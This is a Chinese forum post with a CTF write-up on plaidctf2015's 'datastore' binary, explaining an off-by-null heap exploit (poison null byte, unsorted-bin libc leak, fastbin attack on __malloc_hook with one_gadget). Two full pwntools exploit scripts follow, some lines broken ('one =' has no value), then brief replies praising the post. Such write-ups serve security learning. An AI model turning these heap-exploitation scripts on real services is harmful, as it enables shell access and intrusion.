HNHuangJingYU 发表于 2022-1-28 01:40

pwn题off-by-null详解

本帖最后由 HNHuangJingYU 于 2022-1-28 01:51 编辑

题目:plaidctf2015_plaiddb ->datastore

前几天吾爱官方发布的top榜单,突然看到了我的用户名,太激动了感谢官方{:1_919:} {:1_887:}

###保护

恩,全开

### 分析


这题不用纠结这个二叉树算法,解题思路和算法方面关系不大

put函数:(用于添加键值对)



off-by-null函数


get函数: (显示单个数据库中键的值)


dump函数(用于显示所有信息)



dele函数(内容过多,只粘贴核心部分,用于删除单个键值对)




bss全局保存变量



程序的数据库结构理解图:



### 思路

程序中有uaf漏洞,off-by-null漏洞,且程序保护措施全开,思路就是在__malloc_hook 处写入one_gadget 进行攻击,那么可以用posion null byte + fast bin attack 进行getshell

那么首先就是使用posion null byte 泄露libc

因为程序有固定的malloc格式,且具有溢出null字节的malloc处在key_ptr处那么就需要将key_ptr放置在unsort bin的上面

malloc(1) 10个 然后free()它们,这样key_ptr(0x20)和all_ptr(0x40)就会留在fast bin里面,下次malloc时就会去bin中重新分配,而自定义大小的data_ptr就可以物理邻边了如图所示:

```python
for i in range(10):
    put(str(i), 1, str(i))
for i in range(10):
    dele(str(i))
```

此时的堆结构



接下来构造posion-null-byte的堆结构 : chunkA + chunkB(unsort) + chunkC 其中chunkA具有溢出null字节功能

```python
put('A',0x70,'A'*0x70) #不能是unsort bin不然会和B合并
put('B',0x100,'B'*0x100) #必须是unsort bin用于后面的分割unsort bin
put('C',0x100,'C'*0x100) #必须是unsort bin才能在释放后根据prev_size进行向上合并
put('P',0x20,'P') #用于防止合并进top chunk
```

经过上面的布局现在堆空间将会把data_ptr物理邻近在一起如图 : (因为fast bin的先进后出的规则顺序P->C->B->A )


那么现在posion-null-byte的堆结构可以搭好,那么就需要使0x55ce662535a0(0x80)这个chunk可以溢出null字节,因为这个chunk是属于data_ptr它并没有null字节溢出功能,那么就可以通过uaf漏洞将他free掉,再malloc一个key_ptr大小为0x70( 解释看下图伪函数 )就可以拿到这块堆块了

```python
dele('A') #free chunkA 使下面的key_ptr拿到这块
dele('B')
put('A'*0x78,0x10,'A'*0x10)#off-by-null #key_ptr的默认大小为0x20 当大小为0x78时会重新分配,并且可以溢出一字节
#溢出字节到chunk_B(unsort bin状态)将size 由0x110 -> 0x100
```



此时的堆空间:


理解图:


因为chunkB是非fast chunk所以free后就进入了unsort bin 中,那么此时再次malloc小于0x100则会从chunkB中进行分割分配出来

```python
put('B1',0x80,'D'*0x80)
put('B2',0x40,'E'*0x40)
#此时剩余unsort bin空间0x100 - (0x90+0x50) = 0x20
```

此时堆空间图:


理解图:


那么此时将chunkC释放后进行unlink合并,系统会根据chunkC的prev_size的偏移去找到chunkB1但是此时chunkB1是使用状态,且chunkC的P标志位为0,那么程序会报错,所以就需要在释放chunkC前释放chunkB1就可以正常的合并unlink了

```python
dele('B1') #先 这里不释放的话会报错
dele('C') #后
```

此时堆空间如图:


从上面可以看出chunkC通过prev_size与chunkB1进行合并后chunkB2在程序中还是被认为使用状态,那么在打印数据的是否chunkB2可以正常打印,根据unsort attack可知,如果将chunkB2放入unsort bin再打印数据即可获得libc地址

直接释放chunkB2肯定是不可行的,那么这里可以再次通过unsort bin 进行分割使分割后存入unsort bin的fd和bk刚好在chunkB2的data区域那么就可以打印了,ok

```python
put('B1',0x80,'F'*0x80) #切割unsotbin后 chunk_B2将位于unsort bin头部
get('B2') #打印chunkB2
ru('bytes]:\n')
libc_base= uu64(rc(6)) - (0x7fe31cd6cb78 - 0x7fe31c9a9000)
success("libc",libc_base)
```

那么此时就可以获得__malloc_hook的地址了,然后进行fast bin attack将fast chunk写入到\__malloc_hook-0x23处,再进行one_gadget即可getshell

经过上一步的泄露libc此时chunkB2是一个unsort bin,那么再次释放chunkB1那么又会发生合并,具体实现如下:

```python
dele('B1') #重新合并unsort bin
payload = b'\x00'*0x88 + p64(0x70) #对应着__malloc_hook-0x23处的fast chunk
payload += b'\x00'*0x68+ p64(0x21) #绕过free的检查
put_s('B1',0x190,payload) #重新拿回chunk 并写入数据 将chunkB2变为fast bin
dele('B2') #释放fast bin
```

fast bin attack实现任意地址写需要对处于fast bin的该chunk的fd进行修改使它指向目的地址处,那么就需要再改一次chunkB2的数据如下:

```python
dele('B1')
payload = b'\x00'*0x88 + p64(0x70) + p64(malloc_hook-0x23)
put_s('B1',0x190,payload) #修改fd#这个put_s是我用来区分字节流和字符流的
```

此时的堆空间:


最后就是常见的fast bin attack手段

```python
payload = b'\x00'*0x13 + p64(one + libc_base) #第二次malloc得到__malloc_hook-0x23
put('D',0x60,'D'*0x60)
put_s('E',0x60,payload)
```

最终exp:

```python
# -*-coding:utf-8 -*
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./datastore"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def z(s='b main'):
gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
log.success('当前执行步骤 -> '+str(s))
pause()
one = #2.23
#one =
#idx = int(sys.argv)

def put_s(a,b,c):
    sla("PROMPT: Enter command:\n",'PUT')
    sla("PROMPT: Enter row key:\n",a)
    sla("PROMPT: Enter data size:\n",str(b))
    sla("PROMPT: Enter data:\n",c.ljust(b,b'\x00'))
def put(a,b,c):
    sla("PROMPT: Enter command:\n",'PUT')
    sla("PROMPT: Enter row key:\n",a)
    sla("PROMPT: Enter data size:\n",str(b))
    sla("PROMPT: Enter data:\n",c.ljust(b,'\x00'))
def dump():
    sla("PROMPT: Enter command:\n",'DUMP')
def get(a):
    sla("PROMPT: Enter command:\n",'GET')
    sla("PROMPT: Enter row key:\n",a)
def dele(a):
    sla("PROMPT: Enter command:\n",'DEL')
    sla("PROMPT: Enter row key:\n",a)

#------------start----------------
for i in range(10):
    put(str(i), 1, str(i))
for i in range(10):
    dele(str(i))
#填充chunk至bin中 这样下面malloc的chunk就可以物理邻边
#------------架构posion null byte----------------
put('A',0x70,'A'*0x70) #不能是unsort bin不然会和B合并
put('B',0x100,'B'*0x100) #必须是unsort bin用于后面的分割unsort bin
put('C',0x100,'C'*0x100) #必须是unsort bin才能在释放后根据prev_size进行向上合并
put('P',0x20,'P') #用于防止合并进top chunk

dele('A') #free chunkA 使下面的key_ptr拿到这块
dele('B') #posion null byte结构
put('A'*0x78,0x10,'A'*0x10)#off-by-null #key_ptr的默认大小为0x20 当大小为0x78时会重新分配,并且可以溢出一字节
#------------unlink----------------
put('B1',0x80,'D'*0x80)
put('B2',0x40,'E'*0x40)

dele('B1') #先 这里不释放的话会报错
dele('C') #后
#------------leak libc----------------
put('B1',0x80,'F'*0x80) #切割unsotbin后 chunk_B2将位于unsort bin头部
get('B2') #打印
ru('bytes]:\n')
libc_base= uu64(rc(6)) - (0x7fe31cd6cb78 - 0x7fe31c9a9000)
success("libc",libc_base)
#------------fast bin attack----------------
malloc_hook = libc_base + libc.symbols['__malloc_hook']
success("__malloc_hook",malloc_hook)

dele('B1') #重新合并unsort bin
payload = b'\x00'*0x88 + p64(0x70) #对应着__malloc_hook-0x23处的fast chunk
payload += b'\x00'*0x68+ p64(0x21) #绕过free的检查
put_s('B1',0x190,payload) #重新拿回chunk 并写入数据 将chunkB2变为fast bin
dele('B2') #释放fast bin

dele('B1')
payload = b'\x00'*0x88 + p64(0x70) + p64(malloc_hook-0x23)
put_s('B1',0x190,payload) #修改fd #这个put_s是我用来区分字节流和字符流的
#------------one_gadget----------------
put('D',0x60,'D'*0x60)
payload = b'\x00'*0x13 + p64(one + libc_base) #第二次malloc得到__malloc_hook-0x23
put_s('E',0x60,payload)
sla("PROMPT: Enter command:\n",'DEL') #这里不能使用PUT因为PUT第一个malloc时会对返回值进行判断malloc失败则退出
#------------end----------------
it()
```

### 方法二exp:

其实就是上面的精简版

```python
# -*-coding:utf-8 -*
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./datastore"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def z(s='b main'):
gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
log.success('当前执行步骤 -> '+str(s))
pause()
one = #2.23
#one =
#idx = int(sys.argv)

def put(a,b,c):
    sla("PROMPT: Enter command:\n",'PUT')
    sla("PROMPT: Enter row key:\n",a)
    sla("PROMPT: Enter data size:\n",str(b))
    if len(c) < b :
      sla("PROMPT: Enter data:\n",c.ljust(b,b'\x00'))
    else:
      sla("PROMPT: Enter data:\n",c)

def dump():
    sla("PROMPT: Enter command:\n",'DUMP')
def get(a):
    sla("PROMPT: Enter command:\n",'GET')
    sla("PROMPT: Enter row key:\n",a)
def dele(a):
    sla("PROMPT: Enter command:\n",'DEL')
    sla("PROMPT: Enter row key:\n",a)

#------------paddig----------------
for i in range(8):
    put(str(i),1,str(i))
for i in range(8):
    dele(str(i))
#----------------------------
#首先posion-null-byte的造成堆重叠的结构需要三个chunk
put('a',0x200,'A'*0x200) #unsort bin
put('e',0x20,'E'*0x20) #用于泄露libc
put('d',0x60,'D'*0x60) #用于malloc_hook-0x23处
put('b',0x1f0,'B'*0x1f0)#unsort bin
put('c',0xf0,'C'*0xf0)#unsort bin 必须是0xf0这样才不会被off-by-null而改变chunk->size
put('P',0x20,'P'*0x20)
#------------------------------
dele('a') #首先释放chunka 对于下面释放chunkc后发生向上合并的检查绕过
dele('b') #重新分配到key_ptr
dele(b'b'*0x1f0 +p64(0x4b0))
dele('c') #向上合并
#------------------------------
put('a',0x200,'A'*0x200)
get('e') #打印动态地址
ru('\n')
libc_base= uu64(rc(6)) - (0x7f0eea245b78-0x7f0ee9e82000)
malloc = libc_base + libc.symbols['__malloc_hook']
success('libc',libc_base)
success('malloc_hook',malloc)
#----------------------------
dele('d') #放入fast bin attack
put('f',0x40,b'f'*0x20 + p64(0) + p64(0x71) + p64(malloc-0x23))
put('g',0x60,b'g')
put('x',0x60,p8(0)*0x13 + p64(libc_base + one))
#----------------------------
sla("PROMPT: Enter command:\n",'DEL')
it()
```

Rt1Text 发表于 2022-3-16 18:52

这个这么多保护全开就很牛x,新pwn手见识到了大佬级别的pwn题,虽然我看不懂,但我大为震撼,师傅tql

wangfu 发表于 2022-1-28 10:38

很不错,收藏了,谢楼主分享

zhengtiandfg 发表于 2022-1-28 20:24

很不错,学习了

ych13846701169 发表于 2022-1-28 21:41

厉害,就是学不会呀

qe13323 发表于 2022-1-29 10:54

萌新的膜拜{:1_932:}

yyspawn 发表于 2022-1-30 07:13

谢谢分享

坟墓 发表于 2022-1-30 12:49


感谢分享

sjqwsy 发表于 2022-2-12 16:24

非常好的资源支持一下谢谢

Meiosis 发表于 2022-2-12 18:52

学习一个

无言Y 发表于 2022-2-15 11:10

感谢分享
页: [1] 2
查看完整版本: pwn题off-by-null详解